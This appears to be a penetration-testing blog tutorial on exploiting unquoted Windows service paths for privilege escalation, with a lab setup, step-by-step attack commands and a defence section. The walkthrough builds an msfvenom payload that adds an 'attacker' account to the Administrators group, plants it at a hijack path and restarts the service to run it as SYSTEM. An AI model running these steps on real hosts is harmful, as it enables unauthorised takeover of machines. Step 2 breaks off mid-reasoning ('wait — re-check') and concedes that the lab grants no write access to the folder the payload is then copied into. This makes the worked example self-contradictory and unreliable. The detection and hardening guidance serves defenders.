Disclaimer: This article is written for educational purposes and for authorized penetration testing only. Run these techniques exclusively against systems you own or are explicitly permitted to test under a signed engagement. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction / Overview
The Unquoted Service Path misconfiguration is one of the most reliable, classic privilege escalation vectors on Windows, and it still appears regularly on real corporate hosts, third-party software installers, and CTF-style boxes. It is a favourite of the OSCP exam for good reason: it is easy to spot, easy to exploit, and maps cleanly to a SYSTEM shell.
In this article you'll learn:
- Why Windows misinterprets service binary paths that contain spaces and are not wrapped in quotes.
- How to enumerate vulnerable services with
sc qc, WMIC, and PowerShell. - How to confirm you have a writable directory along the path and plant a malicious service binary.
- How blue teams detect and remediate the issue.
This technique corresponds to MITRE ATT&CK T1574.009 — Hijack Execution Flow: Path Interception by Unquoted Path.
How It Works / Background
When the Service Control Manager (SCM) starts a service, it reads the ImagePath value from the registry and passes it to CreateProcess. The CreateProcess API has a well-documented quirk: when given a path that contains spaces and is not enclosed in quotation marks, it tries each possible interpretation of the path from left to right, treating everything after a space as a potential argument.
Consider an ImagePath of:
C:\Program Files\Vulnerable App\service binary.exe
Because there are no quotes, CreateProcess will attempt to execute the following candidates, in order, until one succeeds:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe
C:\Program Files\Vulnerable App\service binary.exe
If an attacker can write a file named Program.exe to C:\, or Vulnerable.exe to C:\Program Files\, the SCM will launch the attacker's binary instead of the legitimate one — running it in the security context the service is configured with, which is very often LocalSystem.
The two conditions that must hold are therefore:
- A service's
ImagePathcontains a space in the path and is not quoted. - The attacker has write permission to one of the intermediate directories that precedes the space.
Note:
C:\root is not writable by standard users by default on modern Windows, so theC:\Program.execase rarely works. The exploitable cases are almost always custom application directories with weak ACLs.
Prerequisites / Lab Setup
To reproduce this safely in a lab, create a deliberately vulnerable service on a Windows VM (run from an elevated prompt):
# Create a directory with a space and loose permissions
New-Item -ItemType Directory -Path "C:\Program Files\Vuln App\bin" -Force
# Register a service whose ImagePath is unquoted and contains spaces
sc.exe create VulnSvc binPath= "C:\Program Files\Vuln App\bin\svc.exe" start= auto
# Grant Everyone write access to the parent directory (simulating a bad installer)
icacls "C:\Program Files\Vuln App" /grant "Everyone:(OI)(CI)(M)"
Note the space after binPath= — sc.exe requires it. You now have a service VulnSvc with an unquoted, space-containing path and a writable intermediate directory.
Attack Walkthrough / PoC
Step 1 — Enumerate services and find unquoted paths
sc qc ("query config") dumps a service's configuration, including BINARY_PATH_NAME:
sc qc VulnSvc
SERVICE_NAME: VulnSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : C:\Program Files\Vuln App\bin\svc.exe
SERVICE_START_NAME : LocalSystem
Notice BINARY_PATH_NAME is not wrapped in quotes and contains spaces, and SERVICE_START_NAME is LocalSystem. That's the jackpot.
To sweep all services at once, the canonical one-liner uses WMIC and filters out quoted/whitespace-free paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
A modern, WMIC-free equivalent in PowerShell (WMIC is deprecated/removed on Windows 11):
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -notmatch '^\s*"' -and $_.PathName -match ' .*\\' -and $_.PathName -notmatch '^C:\\Windows' } |
Select-Object Name, StartName, PathName
Both winPEAS and the PowerShell module PowerUp automate this:
# PowerUp
Import-Module .\PowerUp.ps1
Get-UnquotedService
Step 2 — Confirm a writable directory along the path
Identifying the unquoted path is not enough; you need write access to an intermediate directory. Check the ACLs with icacls:
icacls "C:\Program Files\Vuln App"
C:\Program Files\Vuln App Everyone:(OI)(CI)(M)
BUILTIN\Administrators:(F)
NT AUTHORITY\SYSTEM:(F)
The Everyone:(M) (Modify) ACE confirms our low-privileged user can write here. The target filename is the leftmost path segment after the writable directory, truncated at the first space — in this case Vuln.exe placed in C:\Program Files\, or svc.exe… wait — re-check: the space is between Vuln and App, so the hijack candidate is:
C:\Program Files\Vuln.exe
We need write access to C:\Program Files\ (usually not granted) or we restructure: if instead the writable dir is C:\Program Files\Vuln App\, the candidate becomes C:\Program Files\Vuln App\bin\svc.exe already with no earlier space to abuse. The exploitable target is therefore the first space encountered after a directory you can write to. Always map this precisely before generating a payload.
Step 3 — Generate and plant the service binary
Generate a payload with msfvenom. A service binary should spawn quickly and not block, so a reverse shell or an "add admin user" command works well:
msfvenom -p windows/x64/exec CMD='net localgroup administrators attacker /add' -f exe -o Vuln.exe
Copy it to the hijack location and confirm:
Copy-Item .\Vuln.exe "C:\Program Files\Vuln.exe"
Step 4 — Trigger execution
If you can restart the service directly, do so. Otherwise, an automatic-start service fires on reboot:
sc stop VulnSvc
sc start VulnSvc
When SCM evaluates the unquoted path, it now resolves C:\Program Files\Vuln.exe first and executes your binary as LocalSystem. Verify the result:
net localgroup administrators
Your user now appears in the Administrators group. From there you can dump credentials, pivot, or open a SYSTEM shell. For broader context on what to do after landing SYSTEM, see the post on Windows token impersonation.
Attack Flow Diagram

Text summary: a low-privileged user finds an unquoted service path with a writable parent directory, drops a binary at the hijack point, restarts the service, and SCM executes the planted binary as SYSTEM.
Detection & Defense (Blue Team)
Defending against this is cheap and should be part of any hardening baseline.
1. Find every unquoted service path. Run a scheduled audit across the fleet:
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -match '^[^"].*\s.*\.exe' -and $_.PathName -notmatch '^C:\\Windows' } |
Select-Object Name, PathName, StartName
2. Remediate by quoting the path. Update the registry ImagePath value (or binPath via sc config) so it is fully quoted:
sc config VulnSvc binPath= "\"C:\Program Files\Vuln App\bin\svc.exe\""
The authoritative value lives at:
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\ImagePath
3. Lock down directory ACLs. Even a quoted path is unsafe if the service binary's own directory is writable, because an attacker could overwrite the legitimate binary. Audit ACLs and remove write permissions for Everyone, Authenticated Users, and BUILTIN\Users on application directories:
icacls "C:\Program Files\Vuln App" /remove "Everyone"
4. Detection / monitoring.
- Enable Sysmon Event ID 1 (ProcessCreate) and alert on service processes executing from unexpected paths (e.g., a
.exeat the root ofC:\Program Files\matching a truncated service name). - Windows Event ID 7045 logs new service installations — monitor for suspicious binaries.
- File Integrity Monitoring (FIM) on
Program Filessubtrees catches the planted binary at write time.
5. Defense in depth. Run services under the least-privileged account possible (a Virtual Service Account or NT SERVICE\<name> rather than LocalSystem), and apply WDAC / AppLocker so unsigned binaries in user-writable locations cannot execute at all. For the broader picture of service-based escalation, see Windows service misconfigurations and enumerating Windows privesc with WinPEAS.
Conclusion
Unquoted service paths remain a high-value, low-effort escalation because they combine two everyday mistakes — installers that omit quotes and directories with loose ACLs. For attackers, the workflow is mechanical: enumerate with sc qc, confirm a writable directory, drop a binary, restart the service. For defenders, remediation is just as mechanical: quote every ImagePath, tighten directory permissions, and monitor Event IDs 7045 and Sysmon 1. Fix the quotes and the ACLs — either one alone leaves a gap.
References
- MITRE ATT&CK — T1574.009 Hijack Execution Flow: Path Interception by Unquoted Path: https://attack.mitre.org/techniques/T1574/009/
- Microsoft Docs —
CreateProcessW(lpApplicationName / lpCommandLine quoting behavior): https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw - HackTricks — Windows Local Privilege Escalation (Services): https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
- PowerSploit / PowerUp —
Get-UnquotedService: https://github.com/PowerShellMafia/PowerSploit - PEASS-ng (winPEAS): https://github.com/peass-ng/PEASS-ng



Comments